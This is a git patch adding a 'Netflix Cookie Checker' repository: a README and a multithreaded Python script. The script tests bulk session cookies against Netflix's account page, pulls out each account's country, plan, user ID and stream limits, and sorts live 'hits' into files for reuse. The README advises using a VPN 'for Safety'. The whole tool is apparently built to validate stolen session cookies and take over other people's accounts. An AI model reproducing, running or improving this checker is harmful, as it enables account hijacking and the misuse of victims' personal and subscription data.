From e61489d9e0a496bb595146076582460db1589cf4 Mon Sep 17 00:00:00 2001
From: Harsh <71609676+harshitkamboj@users.noreply.github.com>
Date: Sat, 8 Jun 2024 01:13:36 +0530
Subject: [PATCH] Add files via upload

---
 README.md        |  18 ++++
 cookies/hehe.txt |   0
 hits/hehe.txt    |   0
 main.py          | 259 +++++++++++++++++++++++++++++++++++++++++++++++
 requirements.txt |   2 +
 5 files changed, 279 insertions(+)
 create mode 100644 README.md
 create mode 100644 cookies/hehe.txt
 create mode 100644 hits/hehe.txt
 create mode 100644 main.py
 create mode 100644 requirements.txt

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..30e2696
--- /dev/null
+++ b/README.md
@@ -0,0 +1,18 @@
+# 🔥 Netflix Cookie Checker
+# ⭐ Give Star to Repo for Support
+## ⚡ Features
+- Multi-threading support
+- Json + Netscape support
+- Convert Json into Netscape
+- Blazing Fast
+- No Proxies Required
+- No Rate Limit
+- Sorts Different Subscriptions in Different Folders
+## ⚠️ Steps of Usage
+1. Run `pip install -r requirements.txt` command
+2. Paste Netscape or Json Cookies in /cookies/ folder 
+3. Run `main.py`
+## ⚠️ Suggest Threads
+- Use with VPN for Safety
+- You can use without VPN also
+### ✉️ Suggest Features.
\ No newline at end of file
diff --git a/cookies/hehe.txt b/cookies/hehe.txt
new file mode 100644
index 0000000..e69de29
diff --git a/hits/hehe.txt b/hits/hehe.txt
new file mode 100644
index 0000000..e69de29
diff --git a/main.py b/main.py
new file mode 100644
index 0000000..6f35605
--- /dev/null
+++ b/main.py
@@ -0,0 +1,259 @@
+import requests
+import os
+import threading
+import colorama
+import shutil
+import re
+import json
+
+# Global counters
+total_working = 0
+total_fails = 0
+total_unsubscribed = 0
+total_checked = 0
+lock = threading.Lock()
+
+# Global paths
+cookies_folder = "cookies"  # Directory where your cookies are stored
+hits_folder = "hits"  # Directory to save working cookies
+failures_folder = "failures"  # Directory to move failed cookies
+broken_folder = "broken"  # Directory to move broken cookies
+free_folder = "free"  # Directory to free cookies
+
+def print_banner():
+    print(colorama.Fore.RED + """
+
+███╗░░██╗███████╗████████╗███████╗██╗░░░░░██╗██╗░░██╗  ░█████╗░░█████╗░░█████╗░██╗░░██╗██╗███████╗
+████╗░██║██╔════╝╚══██╔══╝██╔════╝██║░░░░░██║╚██╗██╔╝  ██╔══██╗██╔══██╗██╔══██╗██║░██╔╝██║██╔════╝
+██╔██╗██║█████╗░░░░░██║░░░█████╗░░██║░░░░░██║░╚███╔╝░  ██║░░╚═╝██║░░██║██║░░██║█████═╝░██║█████╗░░
+██║╚████║██╔══╝░░░░░██║░░░██╔══╝░░██║░░░░░██║░██╔██╗░  ██║░░██╗██║░░██║██║░░██║██╔═██╗░██║██╔══╝░░
+██║░╚███║███████╗░░░██║░░░██║░░░░░███████╗██║██╔╝╚██╗  ╚█████╔╝╚█████╔╝╚█████╔╝██║░╚██╗██║███████╗
+╚═╝░░╚══╝╚══════╝░░░╚═╝░░░╚═╝░░░░░╚══════╝╚═╝╚═╝░░╚═╝  ░╚════╝░░╚════╝░░╚════╝░╚═╝░░╚═╝╚═╝╚══════╝
+               
+                   ░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗███████╗██████╗░
+                   ██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝██╔════╝██╔══██╗
+                   ██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░█████╗░░██████╔╝
+                   ██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░██╔══╝░░██╔══██╗
+                   ╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗███████╗██║░░██║
+                   ░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝                      
+                            
+                              by https://github.com/harshitkamboj
+                        (Star The Repo 🌟 and Share for more Checkers)                              
+    """)
+    print("---------------------------------------------------------------------------------------------" + colorama.Fore.RESET)
+
+def clear_screen():
+    os.system('cls' if os.name == 'nt' else 'clear')
+
+def convert_to_netscape_format(cookie):
+    """ Convert the cookie dictionary to the Netscape cookie format string """
+    return "{}\t{}\t{}\t{}\t{}\t{}\t{}".format(
+        cookie['domain'], 'TRUE' if cookie['flag'].upper() == 'TRUE' else 'FALSE', cookie['path'],
+        'TRUE' if cookie['secure'] else 'FALSE', cookie['expiration'], cookie['name'], cookie['value']
+    )
+
+def process_json_files(directory):
+    """ Process JSON files, convert them to Netscape format, and move the originals to a different folder """
+    json_after_conversion_folder = "json_cookies_after_conversion"  # Directory to move JSON cookies after conversion
+
+    os.makedirs(json_after_conversion_folder, exist_ok=True)
+    
+    for filename in os.listdir(directory):
+        if filename.endswith(".json"):
+            file_path = os.path.join(directory, filename)
+            with open(file_path, 'r') as file:
+                try:
+                    cookies = json.load(file)
+                    if isinstance(cookies, list) and all('domain' in cookie for cookie in cookies):
+                        netscape_cookie_file = os.path.join(directory, filename.replace('.json', '.txt'))
+                        with open(netscape_cookie_file, 'w') as outfile:
+                            outfile.writelines([convert_to_netscape_format(cookie) + '\n' for cookie in cookies])
+                        shutil.move(file_path, os.path.join(json_after_conversion_folder, filename))
+                except json.JSONDecodeError:
+                    print(f"Error decoding JSON from file {filename}")
+
+def load_cookies_from_file(cookie_file):
+    """Load cookies from a given file and return a dictionary of cookies."""
+    cookies = {}
+    with open(cookie_file, 'r', encoding='utf-8') as f:
+        for line in f:
+            parts = line.strip().split('\t')
+            if len(parts) >= 7:
+                domain, _, path, secure, expires, name, value = parts[:7]
+                cookies[name] = value
+            else:
+                print(colorama.Fore.YELLOW + f"> Invalid cookie line: {line.strip()}" + colorama.Fore.RESET)
+                if os.path.exists(cookie_file):
+                    shutil.move(cookie_file, os.path.join(broken_folder, os.path.basename(cookie_file)))
+    return cookies
+
+def make_request_with_cookies(cookies):
+    """Make an HTTP request using provided cookies and return the response text."""
+    session = requests.Session()
+    session.cookies.update(cookies)
+    return session.get("https://www.netflix.com/YourAccount").text
+
+def extract_info(response_text):
+    """Extract relevant information from the response text."""
+    patterns = {
+        'countryOfSignup': r'"countryOfSignup":\s*"([^"]+)"',
+        'memberSince': r'"memberSince":\s*"([^"]+)"',
+        'userGuid': r'"userGuid":\s*"([^"]+)"',
+        'showExtraMemberSection': r'"showExtraMemberSection":\s*\{\s*"fieldType":\s*"Boolean",\s*"value":\s*(true|false)',
+        'membershipStatus': r'"membershipStatus":\s*"([^"]+)"',
+        'maxStreams': r'maxStreams\":\{\"fieldType\":\"Numeric\",\"value\":([^,]+),',
+        'localizedPlanName': r'localizedPlanName\":\{\"fieldType\":\"String\",\"value\":\"([^"]+)\"'
+    }
+    extracted_info = {key: re.search(pattern, response_text).group(1) if re.search(pattern, response_text) else None for key, pattern in patterns.items()}
+    
+    # Additional processing for plan names
+    if extracted_info['localizedPlanName']:
+        extracted_info['localizedPlanName'] = extracted_info['localizedPlanName'].replace('x28', '').replace('\\', ' ').replace('x20', '').replace('x29', '')
+    
+    # Fixing Member since format
+    if extracted_info['memberSince']:
+        extracted_info['memberSince'] = extracted_info['memberSince'].replace("\\x20", " ")
+    
+    # Fixing boolean values
+    if extracted_info['showExtraMemberSection']:
+        extracted_info['showExtraMemberSection'] = extracted_info['showExtraMemberSection'].capitalize()
+    
+    return extracted_info
+
+
+def handle_successful_login(cookie_file, info, is_subscribed):
+    """Handle the actions required after a successful login."""
+    global total_working
+    global total_unsubscribed
+
+    if not is_subscribed:
+        with lock:
+            total_unsubscribed += 1
+        print(colorama.Fore.MAGENTA + f"> Login successful with {cookie_file}. But the user is not subscribed. Moved to free folder!" + colorama.Fore.RESET)
+        shutil.move(cookie_file, os.path.join(free_folder, os.path.basename(cookie_file)))
+        return
+
+    with lock:
+        total_working += 1
+    print(colorama.Fore.GREEN + f"> Login successful with {cookie_file} | " + colorama.Fore.LIGHTGREEN_EX + f"\033[3mCountry: {info['countryOfSignup']}, Member since: {info['memberSince']}, Extra members: {info['showExtraMemberSection']}, Max Streams: {info['maxStreams']}.\033[0m" + colorama.Fore.RESET)
+    
+    new_filename = f"{info['countryOfSignup']}_github-harshitkamboj_{info['showExtraMemberSection']}_{info['userGuid']}.txt"
+    new_filepath = os.path.join(hits_folder, new_filename)
+    
+    with open(cookie_file, 'r', encoding='utf-8') as infile:
+        original_cookie_content = infile.read()
+    
+    # Fixing Plan name
+    plan_name = info['localizedPlanName'].replace("miembro u00A0extra", "(Extra Member)")
+    # Fixing Member since
+    member_since = info['memberSince'].replace("\x20", " ")
+    # Fixing Max Streams
+    max_streams = info['maxStreams'].rstrip('}')
+    # Converting Extra members to Yes/No
+    extra_members = "Yes✅" if info['showExtraMemberSection'] == "True" else "No❌" if info['showExtraMemberSection'] == "False" else "None"
+    
+    with open(new_filepath, 'w', encoding='utf-8') as outfile:
+        outfile.write(f"Plan: {plan_name}\n")
+        outfile.write(f"Country: {info['countryOfSignup']}\n")
+        outfile.write(f"Max Streams: {max_streams}\n")
+        outfile.write(f"Extra members: {extra_members}\n")
+        outfile.write("Checker By: github.com/harshitkamboj\n")
+        outfile.write("Netflix Cookie 👇\n\n\n")
+        outfile.write(original_cookie_content)
+
+    os.remove(cookie_file)
+
+def handle_failed_login(cookie_file):
+    """Handle the actions required after a failed login."""
+    global total_fails
+    with lock:
+        total_fails += 1
+    print(colorama.Fore.RED + f"> Login failed with {cookie_file}. This cookie has expired. Moved to failures folder!" + colorama.Fore.RESET)
+    if os.path.exists(cookie_file):
+        shutil.move(cookie_file, os.path.join(failures_folder, os.path.basename(cookie_file)))
+
+def process_cookie_file(cookie_file):
+    """Process each cookie file to check for a valid login and move accordingly."""
+    global total_checked
+    with lock:
+        total_checked += 1
+    try:
+        cookies = load_cookies_from_file(cookie_file)
+        response_text = make_request_with_cookies(cookies)
+        info = extract_info(response_text)
+        if info['countryOfSignup'] and info['countryOfSignup'] != "null":
+            is_subscribed = info['membershipStatus'] == "CURRENT_MEMBER"
+            handle_successful_login(cookie_file, info, is_subscribed)
+            return True
+        else:
+            handle_failed_login(cookie_file)
+            return False
+    except Exception as e:
+        print(colorama.Fore.YELLOW + f"> Error with {cookie_file}: {str(e)}" + colorama.Fore.RESET)
+        if os.path.exists(cookie_file):
+            shutil.move(cookie_file, os.path.join(broken_folder, os.path.basename(cookie_file)))
+
+def worker(cookie_files):
+    """Worker thread to process cookie files."""
+    while cookie_files:
+        cookie_file = cookie_files.pop()
+        process_cookie_file(cookie_file)
+
+def check_cookies_directory(num_threads=3):
+    """Setup directories and threads to process all cookie files."""
+    os.makedirs(hits_folder, exist_ok=True)
+    os.makedirs(failures_folder, exist_ok=True)
+    os.makedirs(broken_folder, exist_ok=True)
+    os.makedirs(free_folder, exist_ok=True)
+
+    
+    process_json_files(cookies_folder)  # Convert JSON cookies to Netscape format
+
+    cookie_files = [os.path.join(cookies_folder, f) for f in os.listdir(cookies_folder) if f.endswith('.txt')]
+    threads = [threading.Thread(target=worker, args=(cookie_files,)) for _ in range(min(num_threads, len(cookie_files)))]
+
+    clear_screen()
+    print_banner()
+    print(colorama.Fore.CYAN + f"\n> Started checking {len(cookie_files)} cookie files..." + colorama.Fore.RESET)
+    
+    for thread in threads:
+        thread.start()
+    for thread in threads:
+        thread.join()
+
+    # Display statistics
+    printStats()
+
+def printStats():
+    """Print the statistics of the cookies check."""
+    print("\n-------------------------------------------------------------------\n")
+    print(colorama.Fore.CYAN + f"> Statistics:" + colorama.Fore.RESET)
+    print(f"  - 📈 Total checked: {total_checked}")
+    print(f"  - ✅ Working cookies: {colorama.Fore.GREEN}{total_working}{colorama.Fore.RESET}")
+    print(f"  - ❌ Working but no subscription: {colorama.Fore.MAGENTA}{total_unsubscribed}{colorama.Fore.RESET}")
+    print(f"  - 💀 Dead cookies: {colorama.Fore.RED}{total_fails}{colorama.Fore.RESET}")
+    print(f"  - ❤️ Thanks For Using Checker --- Checker by https://github.com/harshitkamboj")
+    print("\n")
+
+def get_started(cookies_error=False):
+    """Get started with the program."""
+    os.makedirs(cookies_folder, exist_ok=True)
+    if not cookies_error:
+        clear_screen()
+        print_banner()
+        print(colorama.Fore.GREEN + "\n              👉  Welcome, after moving your cookies to (cookies) folder, press  👈\n                                 Enter if you're ready to start!" + colorama.Fore.RESET)
+
+    input()
+    dir_content = [f for f in os.listdir(cookies_folder) if not f.startswith('.') and (f.endswith('.txt') or f.endswith('.json'))]
+    if not dir_content:
+        print(colorama.Fore.RED + "> No cookies found in the cookies folder.\n> Please add cookies in Netscape/JSON format (.txt | .json) and try again." + colorama.Fore.RESET)
+        get_started(True)
+
+def main():
+    """Initialize the program."""
+    colorama.init()
+    get_started()
+    check_cookies_directory()
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..2dece75
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,2 @@
+requests==2.25.1
+colorama==0.4.4
\ No newline at end of file